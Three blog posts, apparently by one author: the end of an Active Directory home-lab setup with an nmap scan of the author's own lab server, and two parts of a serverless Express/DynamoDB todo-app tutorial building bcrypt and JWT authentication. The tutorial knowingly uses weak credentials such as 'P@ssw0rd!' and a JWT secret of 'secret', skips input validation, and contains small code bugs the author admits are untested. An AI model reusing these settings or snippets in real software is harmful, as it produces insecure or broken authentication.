With all that setup out of the way, we now have a local network (the host-only network) that our VirtualMachines can use to talk to each other. We also assigned our server a static IP in that network which is recommended before setting up Active Directory. Finally, we pointed the preferred DNS server to our Windows Server Machine. We'll install a DNS server later to handle DNS for our AD Domain.

Installing Active Directory - Back to Windows Server

So, we now have our domain controller ready (not entirely true but we'll fix that shortly), but we still need a domain for it to be in control of.

Return to the Server Manager Dashboard, and this time, select option 2 from the middle list. It's the "Add Roles and Features" link. The "Add Roles and Features Wizard" should pop up.

Click "Next >" on the "Before You Begin" page, then on "Installation Type" ensure the first option "Role-based or feature-based installation" is still selected and click "Next >"

On the "Select destination server" page, you should see our Windows Server 2019 Machine, named ADAMDC, in the Server Pool list, and click next.

In the "Server Roles" you'll want to check the "Active Directory Domain Services" box. (This is the whole thing we've been working towards).

When you click that box, a new pop-up will appear confirming that you want to add the additional required services for AD.

We do. Click "Add Features".

Click "Next" through the "Features" page.

That'll bring you to the Active Directory Domain Services information page. Give it a quick read, then click "Next >"

This is it, the confirmation page. As Uncle Ben said, "With great power comes great responsibility." When you're ready, click "Install".

The installation will start and run for a little, you can close out of the installer window if you want, but since we're already in a VM you can also just open up a different window on your host to watch youtube while we wait.

After the installation completes, we still have a little more work to do. Remember earlier when I said we had our "domain controller" ready? Well, I might've lied a little bit, back then it was still just a lowly server. But I think our server has performed admirably so far, and is worthy of a promotion.

Click the "Promote this server to a domain controller" link. If you closed out of the installation wizard, you can also find this link back in Server Manager.

That will pull up the "Active Directory Domain Service Deployment Configuration Wizard" Select "Add a new forest" radio button, and I'm using the Root domain name: adamdomain.com. Which for the record, is a domain I do not own. This isn't something you'd want to do in a real-world install, but since this is just for our home lab I think it'll be fine.

Leave Forest & Domain functional level at "Windows Server 2016", and add a (DSRM) password, I'm going to use P@ssw0rd! again since this isn't a real AD install. Then go to the next page.

On DNS Options, uncheck "Create DNS delegation" and click "Next".

Wait for the NetBIOS domain name to automatically detect your domain name then click "Next".

Click "Next" again on the Paths page to accept the defaults.

On the "Review Options" page, there isn't much for us to do, click "Next" and the Configuration Wizard will run a check script to ensure the Active Directory install can complete successfully on your machine.

On mine, I got a warning about weak cryptography algorithms and a warning about our first network adapter (the VirtualBox NAT) not having a static IP.

We can ignore those and click "Install". This will initiate the rest of the Active Directory installation process. This process might take a while to complete, and like some of the previous stages, will lock out and reset while it runs.

Once the server finishes install AD and resets, you'll see the lock screen again. Enter "Ctrl + Alt + Delete", but this time, you should notice the login page looks different than before.

This is part of the change from our Server being in a WORKGRUP into a Domain. Log in with our adminstrator credentials, those are still valid. Then when "Server Manager" starts up again, click "Local Server". It will take a couple moments for the information on the Local Server panel to update. but you should see that it now reflects our AD install.

With that done, we now have Active Directory installed, we don't have any other users, or other computers connected to our Domain yet, but we can do those things in another write-up.

One other thing that I noticed and found interesting through the install is that after the install was finished ICMP was enabled when prior to that it was not. If you had tried to ping our Windows Server Prior to the AD installation, you would've gotten "Destination Host Unreachable".

Here's a ping from kali to our Windows Server post-install:

It's easy enough to configure Windows Server to enable ICMP pings, but I always thought it was counter-intuitive (although probably a sensible default for security reasons) that it was blocked by default.

Nmap still seems to have issues running a ping against our windows host though, a default scan returns "Host Seems Down", but adding the -Pn flag does show that our Windows AD Server is up and running, here's the results of a standard nmap -sC -sV -Pn scan from Kali.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 192.168.56.2 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-03 16:39 EST
Nmap scan report for 192.168.56.2
Host is up (0.00074s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-03-03 21:40:22Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: adamdomain.com0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: adamdomain.com0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: ADAMDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: ADAMDC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:a9:d5:db (Oracle VirtualBox virtual NIC)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-03-03T21:40:23
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.26 seconds

Fully Serverless DERN Stack TODO App Pt. 2 - Building out our API

Adam Katora — Wed, 02 Mar 2022 19:30:57 +0000

Part 2 - Building out our API & Auth system

Part. 1

If you're just joining us, in Part 1 of this series, we setup a simple express.js application, then used Claudia.js to deploy our app to AWS.

Here in Part 2, we'll be building out enough of our application that by the end you'll have a small, but functional, REST API. Since Part 1. was a lot of boilerplate Claudia.js setup, I've tried to get this Part 2 out as quickly as possible so that you can start to get an idea of what our final app will look like.

As such, I haven't been able to fully go through this write-up myself to ensure that there's no bugs in the code, and add in helpful screenshots. That'll be coming soon. I'm going to make sure the Github repo for this write-up is up to date first, so if you run into any issues, try checking there first for working code examples.

With all that out of the way, let's move on to the fun stuff, developing some features for our app. Mainly, a simple Auth system. We'll start by adding the Dynamoose package so writing some data models. We'll also add morgan, a logger middleware so that we can get info about incoming requests in the console.

From the /backend folder run the following:

npm install dynamoose morgan

Next, inside the /backend/src create a models directory where we'll store our dynamoose models.

cd src
mkdir models

We're going to try to keep our app simple, so we'll create 2 models. 1.) Will be a User model, with a very (read NOT production ready) basic auth system. 2.) Will be a Todo model to store information about User's Todos.

From inside the models folder create two new files for each of the models. I like to follow a [ModelName].model.js naming convention in my Express.js apps.

cd models
touch User.model.js
touch Todo.model.js

Now, it's time to build out our models. If you've used Mongoose before, the syntax and schema of Dynamoose models should look very familiar to you.

Type the following code for our User model.

User.model.js

const dynamoose = require("dynamoose");

const userSchema = new dynamoose.Schema({
    "id": String, // UUIDv4 ID
    "username": String,
    "password": String,
}, {
    "timestamps": true
})

const User = dynamoose.model("User", userSchema)

module.exports = User

We start by importing the dynamoose library with require("dynamoose"). Next, we define our model's schema with the dynamoose.Schema(). The first Object we pass into dynamoose.Schema() contains all the fields and their associated "attribute types" (aka data types) for our model.

You can read about the available attribute types here.

For right now, we're just going to create fields for id, username, and password.

I've mentioned this already, and I think it goes without saying but just to cover all my bases here, I wouldn't use this auth implementation in a production app. There's much better and more secure IdP services out there for developers. AWS has their Cognito IdP service, and Auth0 is another good choice. Both offer a fairly generous free-tier to allow you to get started quickly and eventually grow into a paid plan.

We also pass a second object to the .Schema() method, with some additional Schema Settings. We're setting "timestamps" to true which will automatically add createdAt & updatedAt timestamps.

Finally, we use the dynamoose.model() method, to create a new const User. The first param passed to .model is a string. This is what our model will be called. The second param we pass to .model is the object containing our SchemaDefinition and SchemaSettings, which in our case we stored in the userSchema const.

At the bottom of the file, we have a standard module.exports so that we can import the User model in other files.

With that created. Let's add the following to our Todo.model.js file.

backend/src/models/Todo.model.js

const dynamoose = require("dynamoose");

const todoSchema = new dynamoose.Schema({
    "id": String, //UUIDv4
    "user": Object,
    "title": String,
    "notes": String,
    "dueDate": String,
    "status": String,
}, {
    "timestamps": true
})

const Todo = dynamoose.model("Todo", todoSchema)

module.exports = Todo

Our Todo model is very similar to our User model with one major difference. We added a field for user with a type of Object. We might end up changing this around later on, but that's one of the beauties of NoSQL databases, we don't have to get bogged down in too much data-modelling early on.

Now that we have our Models in place, we need to start building out how our API will interact with our models. I like to structure my Express.js apps in a bit of an MVC pattern (in this case React will be our V - view layer), and also create "Service Layers". If those two things don't make sense to you, no worries, just follow along and hopefully the project structure and code should help you make sense of those terms as we go along.

Also, if you've been following along this far, I'm going to assume you're comfortable with making new directories & files, so I'll just explain what new dirs and files we're creating, then at the end show the project structure instead of showing the bash command to create each new file.

Back inside the /src directory, make directories for routes, controllers, and services. Inside /src/routes create an index.js file and an auth.routes.js file. Inside the /src/contollers directory create a file Auth.controller.js. Inside the /src/services directory create an Auth.services.js file.

With all of those files created, this is what our project structure should look like now:

backend/
    - node_modules/
    - src/
        - controllers/
            - Auth.controller.js
        - models/
            - Todo.model.js
            - User.model.js
        - routes/
            - Auth.routes.js
            - index.js
        - services/
            - Auth.service.js
        - app.js
        - app.local.js
    - claudia.json
    - lambda.js
    - package-lock.json
    - package.json

With those files created, let's get our router setup.

Let's start by editing our src/app.js file. Make the following changes so that your app.js file looks like this:

/src/app.js

const express = require("express")
const app = express()

// morgan for logging
const morgan = require("morgan")
app.use(morgan('dev'))

// Import Routes
app.use(require("./routes"))

module.exports = app;

First, we start by adding the morgan logging middleware. This will handle automatically logging to the console what requests our app receives, useful for both development and catching things that go wrong in production.

Next, we tell our app to handle all routes from our ./routes/index.js file. You'll notice that we didn't explicitly reference the /.routes/index.js file though, just the dir name.

Let's go ahead and implement our routes file now. Inside /src/routes/index.js add the following code:

/src/routes/index.js

const router = require('express').Router();
const authRoutes = require('./Auth.routes')

// Moved our API Root GET "Hello world!" here
router.get('/', (req, res) => res.send('Hello world!'))

// Import Auth routes
router.use('/api/auth', authRoutes)

module.exports = router;

We've moved our API Root GET request to this file to keep it organized with the other routes. We'll keep it now for testing,

In the second line of /src/routes/index.js we require() our ./Auth.routes.js file and store it as a const, authRoutes. We haven't implemented that file yet either, so let's do that now.

Inside /src/routes/Auth.routes.js file, add the following code:

/src/routes/Auth.routes.js

const router = require("express").Router()

// TODO - implement this route fully
// POST - /api/auth/register
router.post('/register', (req, res) => res.send("/register") )

module.exports = router;

This creates a POST endpoint for /api/auth/register which simply returns a string "/register" back to the requester.

With the boilerplate for our routing system mostly complete. This would be a good time to test everything is working before we continue much further.

Back in Postman, let's first test our "Hello world!" request to make sure that's still working from the new routes/index.js file.

Make sure the local dev server is running with:

npm run dev

Then use Postman to make a GET request to http://localhost:3000/ (In part 1 I promoted this to a variable {{BASE_URL}}, I'll be referencing that moving forward)

You should see the following output:

$ npm run dev

> dern-backend@1.0.0 dev
> nodemon src/app.local.js

[nodemon] 2.0.15
[nodemon] to restart at any time, enter `rs`
[nodemon] watching path(s): *.*
[nodemon] watching extensions: js,mjs,json
[nodemon] starting `node src/app.local.js`
App is listening on port 3000.
GET / 200 1.582 ms - 12

You'll notice the output is the same as before, except the morgan middleware logged our GET request. In Postman you should see the return value of "Hello world!"

Let's also test our /api/auth/register endpoint is working. Create a new POST request in Postman for that endpoint.

In Postman you should see "/register" as the response value, and the console should have logged the new POST request:

$ npm run dev
...
POST /api/auth/register 200 2.381 ms - 9

The next step is to setup our Controllers, these are the C in MV*C*. To briefly explain the job of Controllers, they receive the HTTP request data from the application Router. The Controller

TODO - Explain this better

Add the following code to our /src/controllers/Auth.controller.js file:
/src/controllers/Auth.controller.js

// Register New User
exports.register = async function(req, res) {
    // req validation would be handled here
    const newUserInput = req.body

    // TODO - Auth Service Register User

    res.json(newUserInput)
}

The controller is mostly a placeholder right now, but we're saving the request body into a const newUserInput. However, we haven't implemented the express.json() middleware in order to be able to access the req.body object.

In /src/app.js add this to lines 4 & 5

/src/app.js

// Using express.json() to read req.body
app.use(express.json())

(If you've previously used body-parser for Express.js this has essentially replaced that)

Next, update the /src/routes/Auth.routes.js file to the following to send the request to our new Controller:

/src/routes/Auth.routes.js

const router = require("express").Router()
const authController = require("../controllers/Auth.controller")

// POST - /api/auth/register
router.post('/register', authController.register)

module.exports = router;

Since this is the first time in our application that we're dealing with request body data, this is a good opportunity to test that as well.

You should still have a POST {{BASE_URL}}/api/auth/register request. Click on the "Body" tab for that request, and click the gray dropdown box that says "none". Change that value from "none" to "raw", then in the Blue Text dropdown that appears, select "JSON".

Set the body value to the following:

{
    "username": "adam",
    "password": "adamPass"
}

With all that set, run the request. In the console, you should see our POST request logged. Additionally, the API response should just be the request body returned back to you.

With that working, we can now implement the Service Layer of our application. To briefly explain the job of the service layer, the service layer is where the bulk of our application's business logic exists. This is where we'll put our Dynamoose calls to perform CRUD operations, and handle logic for validating users' accounts, passwords, etc.

A major benefit of moving our business logic out of the controller (or even worse, the routes) and into a service layer, is that is makes our code much more modular and re-usable.

Let's take the Auth service we're about to implement for example. We want Users to be able to register for our app. We also want them to be able to login. However, wouldn't it be a nice feature, if after a User successfully registers for our app, they're automatically logged in.

If we were to keep all of that logic inside the controllers, we would have to copy/paste the login into the register controller as well. Not terrible at first, but it can quickly become a pain to maintain that duplicate code in two places, and goes directly against the DRY Principle (Don't Repeat Yourself).

Again, don't worry if that doesn't all make sense right now, we'll implement the service layer so you can see how it all works together.

We'll need two more packages for our Auth implementation. From the /backend folder install the bcryptjs, and uuid packages with the following:

npm install bcryptjs uuid

We'll add the following AWS SDK configuration settings to /src/app.js. Below app.use(express.json()) add the following:

...
// Dynamoose configuration
const dynamoose = require("dynamoose")
dynamoose.aws.sdk.config.update({"region": "us-east-1"});

Side Note: Regarding AWS Authentication & Configuration -

On my dev machine, I export the Access Key, Secret Key, and Session Token into my terminal, which allows my application to quickly interact with AWS Cli & SDK services without too much configuration. If you know how to do this and can follow along as such, great.

This is what you would type into a bash terminal to export those variables:

export AWS_ACCESS_KEY_ID="[ACCESS_KEY_ID]"
export AWS_SECRET_ACCESS_KEY="[ACCESS_KEY]"
export AWS_SESSION_TOKEN="[SESSION_TOKEN]"

Otherwise, for readers newer to AWS, I think it's probably simpler and more straight forward to configure that information in our app via code.

A major caveat of doing so is that our application will have to access sensitive information, ie our AWS ACCESS_KEY & SECRET_ACCESS_KEY. You should never hard-code sensitive information like keys & secrets into your application. Later on in this write-up, I install and configure dotenv so we can sign our JWTs with a secret.

You'll need to install with npm the dotenv package. Then, update your app.js file to include dotenv and configure it, ideally as early as possible in your application.

// Dotenv config
const dotenv = require('dotenv');
dotenv.config();

dynamoose.aws.sdk.config.update({
    "accessKeyId": process.env.AWS_ACCESS_KEY_ID
    "secretAccessKey": process.env.AWS_SECRET_ACCESS_KEY,
    "region": "us-east-1",
});

Don't forget, you'll need a .env file in the /backend folder with the following values:

AWS_ACCESS_KEY_ID=[YOUR ACCESS KEY]
AWS_SECRET_ACCESS_KEY=[YOUR SECRET KEY]

I still have to build out and test a working example for this, but check the github repo for pt. 2 to see the latest code examples if you're running into issues implementing this.

Then add the following to the /src/services/Auth.service.js file:

/src/services/Auth.service.js

// Import our Dynamoose User model, Bcrypt for password hashing and uuidv4
const User = require("../models/User.model")
const bcrypt = require("bcryptjs")
const {v4: uuidv4} = require("uuid")

exports.registerUser = async function(newUserInfo) {
    // newUserInfo is req.body - so it should be a JSON object ie {"username":"adam","password":"adamPass"}

    // First, check is there's already a user registered with this username
    var existingUser
    try {
        // Runs a DynamoDB scan and returns the result
        existingUser = await User.scan({username: {eq: newUserInfo.username}}).exec()
    } catch (err) {
        console.log(err)
        throw new Error(err)
    }
    // If there already is a User, throw an Error
    if(existingUser.count > 0) {
        throw new Error("EXISTING_USER_ERROR")
    } 

    // User doesn't already exist, so let's register them
    var newUser 
    try {
        const uuid = uuidv4()
        const salt = await bcrypt.genSalt(10)
        const hashedPass = await bcrypt.hash(newUserInfo.password, salt)
        newUser = await User.create({
            "id": uuid,
            "username": newUserInfo.username,
            "password": hashedPass
        })
    } catch (err) {
        console.log(err)
        throw new Error(err)
    }

    // TODO loginUser(newUser) -> return JWT w/ newUser

    return newUser
}

exports.loginUser = async function(userInfo) {
    // userInfo should be a JSON Object {"username":"adam","password":"adamPass"}
    // First, Check if the User even exists - In contrast to the above, in this case we do want there to be an existing User
    var existingUser
    try {
        existingUser = await User.scan({username: {eq: userInfo.username}}).exec()
    } catch (err) {
        console.log(err)
        throw new Error(err)
    }
    // If User doesn't exist, throw an error
    if(existingUser.count == 0) {
        throw new Error("INVALID_LOGIN_CREDENTIALS")
    }

    // Check if the supplied password matches the bcrypt hashed password saved in the User record
    var validPass
    try {
        // bcyrpt.compare will return true / false depending on if the passwords match
        // User.scan() always returns an array, hence why we specify existingUser[0].password below
        validPass = await bcrypt.compare(userInfo.password, existingUser[0].password)
    } catch (err) {
        console.log(err)
        throw new Error(err)
    }

    // If validPass is false, throw an error
    if(!validPass) {
        throw new Error("INVALID_LOGIN_CREDENTIALS")
    }

    // TODO - JWTs - We do need someway for our user to stay logged in after all

    return {"message": "Login Successful"}
}

Update the /src/controllers/Auth.controller.js file:
/src/controllers/Auth.controller.js

const authService = require('../services/Auth.service')

// Register New User
exports.register = async function(req, res) {
    // req validation would be handled here - We're just assuming the request is properly formed
    // fine for a proof-of-concept, terrible in practice
    const newUserInput = req.body

    var newUser
    try {
        newUser = await authService.registerUser(newUserInput)
    } catch (err) {
        console.log(err)
        if(err.message == "EXISTING_USER_ERROR") {
            return res.status("422").json({"message":"User already exists"})
            // If you don't include the above return, the code will continue executing 
            // and hit the throw new Error("REGISTER_USER_ERROR") below, causing our app to crash
        }
        throw new Error(err)
    }

    res.json(newUser)
}

exports.login = async function(req, res) {
    const userInput = req.body

    var existingUser
    try {
        existingUser = await authService.loginUser(userInput)
    } catch (err) {
        console.log(err)
        if(err.message == "INVALID_LOGIN_CREDENTIALS") {
            return res.status("401").json({"message":"Invalid username or password"})
        }
        throw new Error(err)
    }

    res.json(existingUser)
}

Lastly, don't forget to add a /api/auth/login endpoint to the /src/routes/Auth.routes.js file, add this on lines 7 & 8 below the existing /api/auth/register endpoint:

// POST - /api/auth/login
router.post('/login', authController.login)

This is the first substantial bit of code we've written, so let's take a moment to examine what everything does. Also, I've written this to use async/await as opposed to callbacks since I think it's cleaning and easier to understand. If you're not familiar with the syntax here's some documentation that might help clarify

Starting with the Auth.service.js file, we imported our Dynamoose User model that we created earlier, we also imported bcrypt for hashing passwords, and uuidv4 to generate ids for our DynamoDB records.

Then, we created a function registerUser which accepts a single Object, newUserInfo, as a parameter. There's no type checking, or input validation implemented, but newUserInfo should consist of a string username and password. Next in the registerUser function, we check if there is already a User registered with the supplied username, if there is we return a named error "EXISTING_USER_ERROR".

If a user doesn't already exist, we precede with User creation by generating a uuid, salting & hashing the new user's password, then finally using the User.create() method (which is part of Dynamoose) to store the new user as a record in our DynamoDB table.

Once that is complete we return the newUser Object in the response body with a default status code of 200.

You'll notice that above the return line, I left a TODO comment indicating where we'll eventually call the AuthService login function (in this case it's in the same file). We'll be adding in JWT for frontend auth soon, but I wanted to include that to illustrate the benefit of implementing a service layer.

For the loginUser function in our Auth Service, the code is very similar to the registerUser function, except instead of throwing an error if a user exists, we throw an error if the user doesn't exist.

We also use the bcrypt.compare function to see if the user supplied a valid password. Since Dynamoose.scan() returns an array, in our case the existingUser variable, we have to specify existingUser[0].password when supplying the hashed password to bcrypt, otherwise existingUser.password would be undefined.

In our Auth Controller file, /src/controllers/Auth.controller.js, we imported our Auth Service file and saved it as a const authService. We then updated, the Controller's register function to make a call to the Auth Service's registerUser function.

If the Auth Service call returns an "EXISTING_USER_ERROR" error to us, we send a 422 status and error message as a response. An important thing to note about Express is that it will continue to execute code even after a call to res.send(), or res.json() is made. That is why we include the return statement immediately before res.status("422")... is called. If we didn't have the return statement, Express would continue to the next line throw new Error(err) and throw an error that would crash our app, even though we handled the error correctly.

Try removing the return statement from that line and sending a couple test requests if you want to see how that works.

In the Auth Controller login function, we make a call to the Auth Service loginUser function, and same as with register, either handle the named error, or send the return value of the authService.loginUser() call in the response.

The last thing we updated was to add the new login endpoint /api/auth/login to Auth.routes.js which should be pretty self-explanatory.

With all that new code added our app is starting to shape up. We currently have a way to register new users, and also a way to validate returning users accounts & passwords. The final piece missing, as I mentioned earlier is some sort of authentication token so our Express REST API can know when it's dealing with an authenticated user vs an unauthenticated one.

Quick aside on JWT's for API Authentication

Without trying to go into too much detail about JWTs (JSON Web Tokens) or REST API Authentication methods here, I want to briefly explain what it is we'll be doing to add JWTs to our app, and why I chose them.

Oftentimes, I feel that a lot of developers (especially in tutorials) will use JWTs just because it's latest shiny new JS toy, or because it's JS based Auth token and their writing a tutorial in JS.

While there tons more developers that choose JWTs (or different tokens) for the right reasons, I think it's beneficial to explain the pros & cons they offer and why I'm using it here.

JWTs are cryptographically signed using a secret key that (hopefully) only our app has access to. That means we can generate a JWT for our client, and when they send it back to us, we can verify wether or not the JWT was created by us.

That also means that we never have to make a call to the database, or even store our client's JWTs in a database, in order for them to be used.

This is both a pro and a con of JWTs. Assume for a minute that a hacker get's ahold of a client's JWT, they can now interact with our app as that compromised user. You might think that a simple solution is to just invalidate that JWT or add it to a denylist, but remember, we don't have either of those.

The only way to invalidate that Token would be to change the secret key our app is signing JWTs with, which would affect every user and JWT.

Since our app is simple and more of a proof-of-concept right now, we're fine using JWTs as long as we're aware of the potential security concerns. Additionally, not having to make a database call to verify a user's authentication status will work well for our current application setup.

Let's go ahead and add JWT authentication into our app. Thanks to Danny Denenberg for a nice guide on simple JWT implementation in Express. We'll need to install two new packages, jsonwebtoken to read and create JWTs and dotenv to store our JWTs secret key in a .env file.

npm install jsonwebtoken dotenv

We are also going to create a new directory in our /src/ folder, called utils to store our JWT related code. Inside the newly create /src/utils directory. Create a file JWTauth.js.

Finally, in the /backend directory (aka the project root), create a new file .env. Note, if you put your .env file inside /src/ it won't work and you'll get undefined when you try to acccess any env variables.

/backend/.env

JWT_SECRET=secret

(In a real app you wouldn't want to use "secret" as your JWT secret, you also wouldn't want to publish that anywhere, ie Github, etc.)

Update our /src/app.js file to read our new .env file, add the following to lines 4, 5 & 6 of app.js

/src/app.js

// Dotenv config
const dotenv = require('dotenv');
dotenv.config();

Add the following code to the new /src/utils/JWTAuth.js file:

/src/utils/JWTAuth.js

const jwt = require('jsonwebtoken')

exports.generateAccessToken = function (username) {
    return jwt.sign({uid: username}, process.env.JWT_SECRET, {expiresIn: "2h"})
}

exports.authenticateToken = function (req, res, next) {
    const authHeader = req.headers['authorization']
    const token = authHeader && authHeader.split(' ')[1]

    if(token == null) {
        return res.sendStatus(401)
    }

    jwt.verify(token, process.env.JWT_SECRET, (err, user) => {
        if(err) {
            console.log(err)
            return res.status(403)
        }

        req.user = user
        next()
    })
}

Finally, let's update our Register User and Login User functions in the Auth Service to generate JWTs for authenticated users.

Add this on line 5 of /src/services/Auth.service.js, it come immediately after the previous require() imports.

/src/services/Auth.services.js

const jwtAuth = require('../utils/JWTauth')

Now, we can call the jwtAuth.generateAccessToken() function inside our Service Layer to get a valid JWT for our client.

First, we'll update the loginUser function in Auth Service to generate our JWT.

Update the final 3 lines in the loginUser function, this should start with our placeholder comment // TODO - JWTs...., you can remove that comment now.

/src/services/Auth.services.js - loginUser()

...
var authToken = await jwtAuth.generateAccessToken(existingUser[0].username)

return {token: authToken}

Additionally, update the final 3 lines of our registerUser function in the Auth Service to make a call to loginUser.

/src/services/Auth.service.js - regiserUser()

...
var authToken = await exports.loginUser({"username": newUser.username, "password": newUserInfo.password})

return authToken

With that code added, we can now successfully register users, then log them in and return a valid JWT. Existing users can also login with a valid username / password combination, and recieve a new valid JWT.

We've come along way to building the Auth component of our app and we're almost done. The final step is to add a new protected route that will implement our authenticateToken() middleware function we defined in the JWTauth.js file.

Open up /src/routes/Auth.routes.js and update it so that is looks like the following:

/src/routes/Auth.routes.js

const router = require("express").Router()
const authController = require("../controllers/Auth.controller")
const jwtAuth = require('../utils/JWTauth')

// POST - /api/auth/register
router.post('/register', authController.register)

// POST - /api/auth/login
router.post('/login', authController.login)

// PROTECTED ROUTE - ALL /api/auth/protected
router.all('/protected', jwtAuth.authenticateToken, authController.protected)


module.exports = router;

You'll notice that we added a new ALL (this just means it will accept any valid HTTP request) endpoint at /api/auth/protected, and added two functions after the route declaration. The first function is our jwtAuth.authenticateToken which acts as middleware. That means that any request sent to the /api/auth/protected endpoint will first be sent to jwtAuth.authenticateToken before being sent to authController.protected. We haven't implemented the protected function in our authController so let's do that now.

Add the following code to the end of our Auth Controller:

/src/controllers/Auth.controller.js

...
exports.protected = async function(req, res) {
    console.log("Reached Protected Route")

    res.send("/protected")
}

We should now be able to create a new user, receive a valid JWT, and use that JWT to authenticate and reach our protected endpoint.

Let's start by confirming the endpoint is inaccessible to unauthenticated users.

Back in Postman, create a new request to the endpoint /api/auth/protected. Since we used the router.all() for this endpoint you can make the request a GET or a POST or whatever else you'd like.

Send the request through, and you should see a response "Unauthorized" with status code 401.

Next, let's test registering a new user, which will in turn test the login function, by updating the body of our POST /api/auth/register request to the following:

(since our app checks the username field for existing users, we're updating that here.)

{
    "username": "adam2",
    "password": "adamPass"
}

After sending that request through, you should get response similar to the following:

{
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJhZGFtMiIsImlhdCI6MTY0NjI0MTI5MiwiZXhwIjoxNjQ2MjQ4NDkyfQ.-vaQXL5KzgeJ4Wer_sdMa-hWmovCezCRxXevEZvurfE"
}

If you want to examine the JWT, head on over to JWT.io and copy and paste the token value into the editor. Since the secret this token was generated with is just "secret", again that's a TERRIBLE IDEA in production, you should be able to verify the token as well.

With our newly created JWT, let's copy the value, ie just this part:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJhZGFtMiIsImlhdCI6MTY0NjI0MTI5MiwiZXhwIjoxNjQ2MjQ4NDkyfQ.-vaQXL5KzgeJ4Wer_sdMa-hWmovCezCRxXevEZvurfE

And then add it to our Postman /api/auth/protected request in the authorization header. One thing to note about working with JWTs in Auth headers, is that the token itself is usually prefixed by the term "Bearer". So in Postman >> Headers >> type in "Authorization" for the header name then add the following for the value:

Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJhZGFtMiIsImlhdCI6MTY0NjI0MTI5MiwiZXhwIjoxNjQ2MjQ4NDkyfQ.-vaQXL5KzgeJ4Wer_sdMa-hWmovCezCRxXevEZvurfE

With that header added, resend the request. If everything goes well, instead of the "Unauthorized" response, you should now see a response body "/protected" which is what we returned in our authController.protected function. You'll also notice we should have console logged the line "Reached Protected Route" to our dev console. I added this to demonstrate that the jwtAuth.authenticateToken stops further code execution in the case of unauthorized users.

And with that, we have now implemented a Auth system, albeit a simple one, for our application. Since we covered so much ground in this section, I think this would be a good place to take a pause. In the next section, we'll start back up with deploying our newly updated app onto AWS, and test out any issues that might occur in the cloud that we're not running into on our local dev machine.

I also decided on a new name for our Todo App, "git-er-dern", which has a 2:3 pun to word ratio. Quite impressive in my humble opinion.

Fully Serverless DERN Stack TODO App Pt. 1 - (DynamoDB, Express, React, Node)

Adam Katora — Tue, 01 Mar 2022 21:41:06 +0000

Pt. 1 - Setting up our Backend API and deploying to AWS

Update 3/2/2022 Pt. 2 is now published.

Completed Pt.1 Github Repo

Sorry for doing a boring TODO app, I figured there were enough moving parts with this write-up between, Express, React, AWS, Serverless, etc that making a very simple application would be welcomed. I'm also assuming that for this tutorial you already have some basic experience with AWS, AWS CLI, Express.js & Node.js but I'll try to make everything as beginner friendly as I can.

The MERN stack (MongoDB, Express, React, Node.js) is one of the most popular stacks among Node.js developers. However, this stack has a major achilles heel.

It requires servers *shudders*.

Even if you do deploy your code to the cloud via a FaaS (Functions as a Service) platform, that pesky M in the MERN stack, aka MongoDB needs a to be backed by a server. Either self-hosted, ie. via an EC2 instance running on AWS, or via a managed service, like MongoDB Atlas (which, also runs their instances on AWS EC2 but it has a very nice interface.)

What if, we could build a truly serverless Express.js API, with a React SPA Frontend?

Well, now we can.

AWS offers DynamoDB, a managed NoSQL database that can offer blazing-fast single-digit millisecond performance.

Additionally, the node.js library Dynamoose is a modeling tool for DynamoDB that is very similar to the highly popular Mongoose for MongoDB. Developers already familiar with the MERN stack should feel right at home using Dynamoose with minimal modifications.

Plus, with a little deployment magic help from Claudia.js, we have a very easy way to build and deploy serverless Express.js apps.

Finally, we'll build out a React SPA frontend, and deploy that on AWS Cloudfront so that we're getting the benefits of having our static code and assets delivered via a global CDN.

Side Note: I'm really playing up the "negatives" of servers & databases for dramatic effect. Servers actually aren't that big and scary. In the real-world, the backend needs of every application will obvioiusly vary greatly. Serverless is a great tool to have in the toolbelt, but I don't believe it should be the end-all be-all for every situation.

Getting Started

Let's start by setting up our project directory. I'm going to start by making my project directory called dern-todo, then inside that directory I'm also going to create a directory called backend.

mkdir dern-todo && cd dern-todo
mkdir backend && cd backend

We're going to keep all of our Express.js / Claudia.js code inside the /backend directory, and when we eventually create a React frontend SPA, it will live-in, unsurpisingly, a directory called frontend.

Make sure you're in the backend directory, then initialize our backend application with NPM init.

npm init

I'm going to use all the NPM defaults except for 2 things. 1.) I'm changing the package name to dern-backend instead of just backend, which is pulled in from the directory name.

2.) I'm going to change "entry point: (index.js)" to app.js, which is what we'll use for our Claudia.js setup

❯ npm init
This utility will walk you through creating a package.json file.
It only covers the most common items, and tries to guess sensible defaults.

See `npm help init` for definitive documentation on these fields
and exactly what they do.

Use `npm install <pkg>` afterwards to install a package and
save it as a dependency in the package.json file.

Press ^C at any time to quit.
package name: (backend) dern-backend
version: (1.0.0) 
description: 
entry point: (index.js) app.js
test command: 
git repository: 
keywords: 
author: 
license: (ISC) 
About to write to /Users/[path]/dern-todo/backend/package.json:

{
  "name": "dern-backend",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC"
}


Is this OK? (yes)

From our /backend directory, let's go ahead and install express. We'll also install nodemon and save it as a dev-depency to automatically restart our server on code changes.

npm install express
npm install --save-dev nodemon

